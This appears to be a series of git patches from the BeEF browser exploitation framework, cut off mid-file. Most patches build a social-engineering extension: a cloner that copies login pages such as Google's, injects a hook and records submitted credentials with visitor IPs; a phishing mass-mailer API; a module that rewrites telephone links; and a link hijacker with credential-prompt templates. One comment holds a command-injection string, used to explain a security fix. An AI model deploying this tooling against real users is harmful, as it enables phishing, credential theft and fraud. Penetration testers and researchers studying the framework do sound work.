domain name - from: "yourmail@gmail.com" + from: "youruser@gmail.com" password: "yourpass" # available templates templates: @@ -39,4 +39,4 @@ beef: images_cids: cid1: "beef_logo.png" #cid2: "second_image.png" - attachment: [""] + attachments: ["beef_attachment.pdf"] From a6a9af848305588becc4d9207e4555d268046f78 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 31 Aug 2012 14:07:33 +0100 Subject: [PATCH 015/397] Minor changes to main Server class (mounts need to be an instance variable) --- core/main/server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/main/server.rb b/core/main/server.rb index b8ba556fd..e45fbbf77 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -62,9 +62,9 @@ module BeEF raise Exception::TypeError, '"url" needs to be a string' if not url.string? if args == nil - mounts[url] = http_handler_class + @mounts[url] = http_handler_class else - mounts[url] = http_handler_class, *args + @mounts[url] = http_handler_class, *args end print_debug("Server: mounted handler '#{url}'") end From 6b5302ef2109b360d9e5661feca42e7a7a29322b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 31 Aug 2012 14:08:08 +0100 Subject: [PATCH 016/397] Social Eng. Extension: Added RESTful API calls for both mass_mailer and web_cloner --- extensions/social_engineering/extension.rb | 22 +++- .../rest/socialengineering.rb | 120 ++++++++++++++++++ 2 files changed, 136 insertions(+), 6 deletions(-) create mode 100644 extensions/social_engineering/rest/socialengineering.rb diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 33ca7ac31..9b14498af 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -15,18 +15,28 @@ # module BeEF module Extension -module SocialEngineering - extend BeEF::API::Extension - @short_name = 'social_engineering' - @full_name = 'Social Engineering' - @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' -end + module RegisterSEngHandler + def self.mount_handler(server) + server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) + end + end + + module SocialEngineering + extend BeEF::API::Extension + + @short_name = 'social_engineering' + @full_name = 'Social Engineering' + @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' + + BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler') + end end end require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/mass_mailer/mass_mailer' +require 'extensions/social_engineering/rest/socialengineering' diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb new file mode 100644 index 000000000..fe11469b8 --- /dev/null +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -0,0 +1,120 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF + module Extension + module SocialEngineering + class SEngRest < BeEF::Core::Router::Router + + config = BeEF::Core::Configuration.instance + + before do + error 401 unless params[:token] == config.get('beef.api_token') + halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + #Example: curl -H "Content-Type: application/json; charset=UTF-8" + #-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue= + #https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}' + #-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7 + post '/clone_page' do + request.body.rewind + begin + body = JSON.parse request.body.read + uri = body["url"] + mount = body["mount"] + + if uri != nil && mount != nil + if (uri =~ URI::regexp).nil? #invalid URI + "Invalid URI" + halt 401 + end + + if !mount[/^\//] # mount needs to start with / + print_error "Invalid mount (need to be a relative path, and start with / )" + halt 401 + end + + web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance + web_cloner.clone_page(uri,mount) + end + + rescue Exception => e + print_error "Invalid JSON input passed to endpoint /api/seng/clone_page" + error 400 # Bad Request + end + end + + # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body' + #-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7 + # Example json_body: + #{ + # "template": "default", + # "subject": "Hi from BeEF", + # "fromname": "BeEF", + # "link": "http://www.microsoft.com/security/online-privacy/phishing-symptoms.aspx", + # "linktext": "http://beefproject.com", + # "recipients": [{ + # "user1@gmail.com": "Michele", + # "user2@antisnatchor.com": "Antisnatchor" + #}] + #} + post '/send_mails' do + request.body.rewind + begin + body = JSON.parse request.body.read + + template = body["template"] + subject = body["subject"] + fromname = body["fromname"] + link = body["link"] + linktext = body["linktext"] + + if template.nil? || subject.nil? || fromname.nil? || link.nil? || linktext.nil? + print_error "All parameters are mandatory." + halt 401 + end + + if (link =~ URI::regexp).nil? || (linktext =~ URI::regexp).nil?#invalid URI + print_error "Invalid link or linktext" + halt 401 + end + + recipients = body["recipients"][0] + + recipients.each do |email,name| + if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil? + print_error "Email [#{email}] or name [#{name}] are not valid/null." + halt 401 + end + end + + mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance + mass_mailer.send_email(template, fromname, subject, link, linktext, recipients) + rescue Exception => e + print_error "Invalid JSON input passed to endpoint /api/seng/clone_page" + error 400 + end + end + + end + end + end +end \ No newline at end of file From 9b1cae67903407c118ce7f688962cb06e53c735d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 31 Aug 2012 15:22:09 +0100 Subject: [PATCH 017/397] Added social_engineering extension to main BeEF config file. --- config.yaml | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/config.yaml b/config.yaml index 46c5e98c0..2c5939e42 100644 --- a/config.yaml +++ b/config.yaml @@ -20,12 +20,12 @@ beef: debug: false restrictions: - # subnet of browser ip addresses that can hook to the framework + # subnet of browser ip addresses that can hook to the framework permitted_hooking_subnet: "0.0.0.0/0" - # subnet of browser ip addresses that can connect to the UI + # subnet of browser ip addresses that can connect to the UI # permitted_ui_subnet: "127.0.0.1/32" permitted_ui_subnet: "0.0.0.0/0" - + http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" @@ -69,7 +69,7 @@ beef: # db_file is only used for sqlite db_file: "beef.db" - + # db connection information is only used for mysql/postgres db_host: "localhost" db_name: "beef" @@ -87,11 +87,13 @@ beef: # You may override default extension configuration parameters here extension: requester: - enable: true + enable: true proxy: - enable: true + enable: true metasploit: enable: false + social_engineering: + enable: false console: shell: enable: false From 8eb0e2d97326919f0dc2ff3b8f6f144ce91a02ef Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 1 Sep 2012 15:15:30 +0100 Subject: [PATCH 018/397] Social Eng. Extension: Added DB structure and logic for web_cloner and interceptor. --- extensions/social_engineering/extension.rb | 14 ++++++++ .../social_engineering/models/interceptor.rb | 35 ++++++++++++++++++ .../social_engineering/models/web_cloner.rb | 36 +++++++++++++++++++ .../rest/socialengineering.rb | 2 +- .../web_cloner/interceptor.rb | 10 ++++-- .../web_cloner/web_cloner.rb | 19 +++++++++- 6 files changed, 111 insertions(+), 5 deletions(-) create mode 100644 extensions/social_engineering/models/interceptor.rb create mode 100644 extensions/social_engineering/models/web_cloner.rb diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 9b14498af..20f04a756 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -34,9 +34,23 @@ module Extension end end +# Handlers require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/mass_mailer/mass_mailer' + +# Models +require 'extensions/social_engineering/models/web_cloner' +require 'extensions/social_engineering/models/interceptor' +#require 'extensions/social_engineering/models/mass_mailer' + +# RESTful api endpoints require 'extensions/social_engineering/rest/socialengineering' + + + + + + diff --git a/extensions/social_engineering/models/interceptor.rb b/extensions/social_engineering/models/interceptor.rb new file mode 100644 index 000000000..9a72cf64d --- /dev/null +++ b/extensions/social_engineering/models/interceptor.rb @@ -0,0 +1,35 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Models + class Interceptor + + include DataMapper::Resource + + storage_names[:default] = 'extension_seng_interceptor' + + property :id, Serial + + property :post_data, Text, :lazy => false + + belongs_to :webcloner + + end + + end + end +end diff --git a/extensions/social_engineering/models/web_cloner.rb b/extensions/social_engineering/models/web_cloner.rb new file mode 100644 index 000000000..2c4a0903c --- /dev/null +++ b/extensions/social_engineering/models/web_cloner.rb @@ -0,0 +1,36 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Models + class Webcloner + + include DataMapper::Resource + + storage_names[:default] = 'extension_seng_webcloner' + + property :id, Serial + + property :uri, Text, :lazy => false + property :mount, Text, :lazy => false + + has n, :extension_seng_interceptor, 'Interceptor' + + end + + end + end +end diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index fe11469b8..fcb1c408b 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -43,7 +43,7 @@ module BeEF if uri != nil && mount != nil if (uri =~ URI::regexp).nil? #invalid URI - "Invalid URI" + print_error "Invalid URI" halt 401 end diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 3cf6551d3..d8d19dfaa 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -27,9 +27,7 @@ module BeEF get "/" do print_info "GET request" print_info "Referer: #{request.referer}" - file = File.open(settings.file_path,'r') - cloned_page = file.read - file.close + cloned_page = settings.cloned_page cloned_page end @@ -41,6 +39,12 @@ module BeEF print_info "Intercepted data:" print_info data + interceptor_db = BeEF::Core::Models::Interceptor.new( + :webcloner_id => settings.db_entry.id, + :post_data => data + ) + interceptor_db.save + if settings.frameable print_info "Page can be framed :-) Loading original URL into iFrame..." "\n" diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 13c799ded..1e3c68205 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -74,10 +74,11 @@ module BeEF frameable = is_frameable(url) interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :file_path, file_path interceptor.set :redirect_to, url interceptor.set :frameable, frameable interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) @http_server.mount("#{mount}", interceptor.new) print_info "Mounting cloned page on URL [#{mount}]" @@ -114,6 +115,22 @@ module BeEF result end + def get_page_content(file_path) + file = File.open(file_path,'r') + cloned_page = file.read + file.close + cloned_page + end + + def persist_page(uri, mount) + webcloner_db = BeEF::Core::Models::Webcloner.new( + :uri => uri, + :mount => mount + ) + webcloner_db.save + webcloner_db + end + end end end From ab588c0f6816e87f03ee79c5f33cd108b41691be Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 2 Sep 2012 16:58:43 +0930 Subject: [PATCH 019/397] Add link_rewrite_tel module Fixes issue #721 --- core/main/client/dom.js | 25 +++++++++++++++++ .../hooked_domain/link_rewrite_tel/command.js | 24 ++++++++++++++++ .../link_rewrite_tel/config.yaml | 25 +++++++++++++++++ .../hooked_domain/link_rewrite_tel/module.rb | 28 +++++++++++++++++++ 4 files changed, 102 insertions(+) create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/command.js create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/config.yaml create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/module.rb diff --git a/core/main/client/dom.js b/core/main/client/dom.js index 387b514bf..4cb0c2cba 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -194,6 +194,31 @@ beef.dom = { return count; }, + /** + * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number + * @param: {String} new_number: the new link telephone number to be written + * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return: {Number} the amount of links found in the DOM and rewritten. + */ + rewriteTelLinks: function(new_number, selector) { + + var count = 0; + var re = new RegExp("tel:/?/?.*", "gi"); + var sel = (selector == null) ? 'a' : selector; + + $j(sel).each(function() { + if ($j(this).attr('href') != null) { + var url = $j(this).attr('href'); + if (url.match(re)) { + $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; }); + count++; + } + } + }); + + return count; + }, + /** * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}] diff --git a/modules/browser/hooked_domain/link_rewrite_tel/command.js b/modules/browser/hooked_domain/link_rewrite_tel/command.js new file mode 100644 index 000000000..d51007a95 --- /dev/null +++ b/modules/browser/hooked_domain/link_rewrite_tel/command.js @@ -0,0 +1,24 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var tel_number = "<%= @tel_number %>"; + var selector = "a"; + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteTelLinks(tel_number, selector)+' telephone (tel) links rewritten to '+tel_number); + +}); + diff --git a/modules/browser/hooked_domain/link_rewrite_tel/config.yaml b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml new file mode 100644 index 000000000..68618861e --- /dev/null +++ b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + link_rewrite_tel: + enable: true + category: ["Browser", "Hooked Domain"] + name: "Replace HREFs (TEL)" + description: "This module will rewrite all the href attributes of telephone links (ie, tel:5558585) to call a number of your choice." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/hooked_domain/link_rewrite_tel/module.rb b/modules/browser/hooked_domain/link_rewrite_tel/module.rb new file mode 100644 index 000000000..929c62356 --- /dev/null +++ b/modules/browser/hooked_domain/link_rewrite_tel/module.rb @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Link_rewrite_tel < BeEF::Core::Command + + def self.options + return [ + { 'ui_label'=>'Number', 'name'=>'tel_number', 'description' => 'New telephone number', 'value'=>'5558585', 'width'=>'200px' } + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From ae72f9fedf1223a199b4e63b67849bd190b6766f Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 2 Sep 2012 16:23:53 +0100 Subject: [PATCH 020/397] Social Eng. extension: added request.ip to interceptor logs, adapted output --- .../social_engineering/models/interceptor.rb | 2 +- .../rest/socialengineering.rb | 12 ++- .../web_cloner/interceptor.rb | 7 +- .../web_cloner/web_cloner.rb | 100 ++++++++++-------- 4 files changed, 73 insertions(+), 48 deletions(-) diff --git a/extensions/social_engineering/models/interceptor.rb b/extensions/social_engineering/models/interceptor.rb index 9a72cf64d..ab92cdadd 100644 --- a/extensions/social_engineering/models/interceptor.rb +++ b/extensions/social_engineering/models/interceptor.rb @@ -23,7 +23,7 @@ module BeEF storage_names[:default] = 'extension_seng_interceptor' property :id, Serial - + property :ip, Text, :lazy => false property :post_data, Text, :lazy => false belongs_to :webcloner diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index fcb1c408b..cc3470333 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -53,7 +53,17 @@ module BeEF end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance - web_cloner.clone_page(uri,mount) + success = web_cloner.clone_page(uri,mount) + if success + result = { + "success" => true, + "mount" => mount + }.to_json + else + result = { + "success" => false + }.to_json + end end rescue Exception => e diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index d8d19dfaa..17e4e57c1 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -25,7 +25,7 @@ module BeEF # intercept GET get "/" do - print_info "GET request" + print_info "GET request from IP #{request.ip}" print_info "Referer: #{request.referer}" cloned_page = settings.cloned_page cloned_page @@ -33,7 +33,7 @@ module BeEF # intercept POST post "/" do - print_info "POST request" + print_info "POST request from IP #{request.ip}" request.body.rewind data = request.body.read print_info "Intercepted data:" @@ -41,7 +41,8 @@ module BeEF interceptor_db = BeEF::Core::Models::Interceptor.new( :webcloner_id => settings.db_entry.id, - :post_data => data + :post_data => data, + :ip => request.ip ) interceptor_db.save diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1e3c68205..02637908d 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -34,55 +34,69 @@ module BeEF output_mod = "#{output}_mod" user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') - #todo: prevent command injection using IO.popen passing an array of arguments - # see here: http://devblog.avdi.org/2012/03/29/generating-cows-with-io-popen/ - wget = "wget '#{url}' --no-check-certificate -c -k -U '#{user_agent}' -O #{@cloned_pages_dir + output}" - IO.popen(wget.to_s) { |f| result = f.gets } - File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| - File.open("#{@cloned_pages_dir + output}", 'r').each do |line| - # Modify the line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?(" line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "BeEF hook added :-D" + else + out_file.print line end - line_attrs[count] = "action=\"#{mount}\"" - mod_form = line_attrs.join(" ") - print_info "Form action value changed to / in order to be intercepted." - out_file.print mod_form - # Add the BeEF hook - elsif line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') - out_file.print add_beef_hook(line) - print_info "Added BeEF hook." - else - out_file.print line end end + + if File.size("#{@cloned_pages_dir + output}") > 0 + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + + # Check if the original URL can be framed + frameable = is_frameable(url) + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" + @http_server.remap + success = true + else + print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." + end end - print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" - - file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - - # Check if the original URL can be framed - frameable = is_frameable(url) - - interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :redirect_to, url - interceptor.set :frameable, frameable - interceptor.set :beef_hook, @beef_hook - interceptor.set :cloned_page, get_page_content(file_path) - interceptor.set :db_entry, persist_page(url,mount) - - @http_server.mount("#{mount}", interceptor.new) - print_info "Mounting cloned page on URL [#{mount}]" - @http_server.remap + success end private From ed9b1d5c2ebb617a2b21fb9f885ffc2340c9c874 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 2 Sep 2012 17:25:50 +0100 Subject: [PATCH 021/397] Social Eng. Extension: webcloner ->calling IO.popen in a secure way --- .../web_cloner/web_cloner.rb | 42 +++++++++++++------ 1 file changed, 29 insertions(+), 13 deletions(-) diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 02637908d..1cf5feb7f 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -34,32 +34,47 @@ module BeEF output_mod = "#{output}_mod" user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') - - wget = "wget '#{url}' --background --no-check-certificate -c -k -U '#{user_agent}' -O #{@cloned_pages_dir + output}" - IO.popen(wget.to_s) { |f| - @result = f.gets - print_debug "Wget: #{@result}" - } - success = false - if @result.nil? - print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." - else + # prevent command injection attacks, passing URLs like (http://antisnatchor'||touch /tmp/foo #). No shells are open in the following case. + begin + IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate","--background"], 'r+') do |wget_io| end + success = true + rescue Exception => e + print_error "Errors executing wget: #{e}" + print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." + end + + if success File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open("#{@cloned_pages_dir + output}", 'r').each do |line| # Modify the line changing the action URI to / in order to be properly intercepted by BeEF if line.include?(" Date: Sun, 2 Sep 2012 17:26:38 +0100 Subject: [PATCH 022/397] Social Eng. extension: added notes about 'wget' and 'file' commands required for the extension. --- extensions/social_engineering/config.yaml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index de77968e4..50213ce6b 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -20,9 +20,11 @@ beef: name: 'Social Engineering' authors: ["antisnatchor"] web_cloner: + # NOTE: you must have 'wget' in your PATH add_beef_hook: true user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" mass_mailer: + # NOTE: you must have 'file' in your PATH user_agent: "Microsoft-MacOutlook/12.12.0.111556" host: "smtp.gmail.com" port: 587 From 31387a0aa696b03c0e7a83688672893eed998c7b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 2 Sep 2012 19:00:40 +0100 Subject: [PATCH 023/397] Social Eng. extension: massmailer -> calling IO.popen in a secure way --- extensions/social_engineering/mass_mailer/mass_mailer.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 2e61b4dd8..221ca73e7 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -222,9 +222,10 @@ EOF end def get_mime(file_path) - mime = "file --mime -b #{file_path}" result = "" - IO.popen(mime.to_s) { |f| result = f.gets.split(";").first } + IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io| + result = io.readlines.first.split(";").first + end result end From 931aeb6ee591c94adf9232900a78a6260b39f32b Mon Sep 17 00:00:00 2001 From: qswain2 Date: Mon, 3 Sep 2012 09:46:03 -0400 Subject: [PATCH 024/397] Fixed the module count in the ui to include sub modules (issue 708) --- extensions/admin_ui/controllers/modules/modules.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index a3d0c087c..b10ccc4bf 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -591,12 +591,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController # append the number of command modules so the branch name results in: " (num)" parent.each {|command_module_branch| if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children') - num_of_command_modules = command_module_branch['children'].length - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - + num_of_subs = 0 command_module_branch['children'].each {|c| + #add in the submodules and subtract 1 for the folder node + num_of_subs+=c['children'].length-1 if c.has_key?('children') retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' } + num_of_command_modules = command_module_branch['children'].length + num_of_subs + command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" + end } end From 05d7fe3adf0a48d879894c2affaa53418e49a306 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Tue, 4 Sep 2012 17:47:59 +0200 Subject: [PATCH 025/397] Adding the Simple Hijacker module in social engineering (route clicks on some links to javascript code) --- .../simple_hijacker/command.js | 37 ++++++ .../simple_hijacker/config.yaml | 26 +++++ .../simple_hijacker/module.rb | 50 +++++++++ .../simple_hijacker/templates/amazon.js | 28 +++++ .../templates/chromecertbeggar.js | 50 +++++++++ .../simple_hijacker/templates/confirmbox.js | 10 ++ .../simple_hijacker/templates/credential.js | 105 ++++++++++++++++++ 7 files changed, 306 insertions(+) create mode 100644 modules/social_engineering/simple_hijacker/command.js create mode 100644 modules/social_engineering/simple_hijacker/config.yaml create mode 100644 modules/social_engineering/simple_hijacker/module.rb create mode 100644 modules/social_engineering/simple_hijacker/templates/amazon.js create mode 100644 modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js create mode 100644 modules/social_engineering/simple_hijacker/templates/confirmbox.js create mode 100644 modules/social_engineering/simple_hijacker/templates/credential.js diff --git a/modules/social_engineering/simple_hijacker/command.js b/modules/social_engineering/simple_hijacker/command.js new file mode 100644 index 000000000..adcc3e4b2 --- /dev/null +++ b/modules/social_engineering/simple_hijacker/command.js @@ -0,0 +1,37 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +hijack = function(){ + function send(answer){ + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); + } + <% target = @targets.split(',') %> + $j('a').click(function(e) { + e.preventDefault(); + if ($j(this).attr('href') != '') + { + if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{ + <%= instance_variable_get("@#{@choosetmpl}") %> + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href')); + } + } + }); +} + +beef.execute(function() { + hijack(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Hijacker ready, now waits for user action'); +}); diff --git a/modules/social_engineering/simple_hijacker/config.yaml b/modules/social_engineering/simple_hijacker/config.yaml new file mode 100644 index 000000000..8fbb9209d --- /dev/null +++ b/modules/social_engineering/simple_hijacker/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance 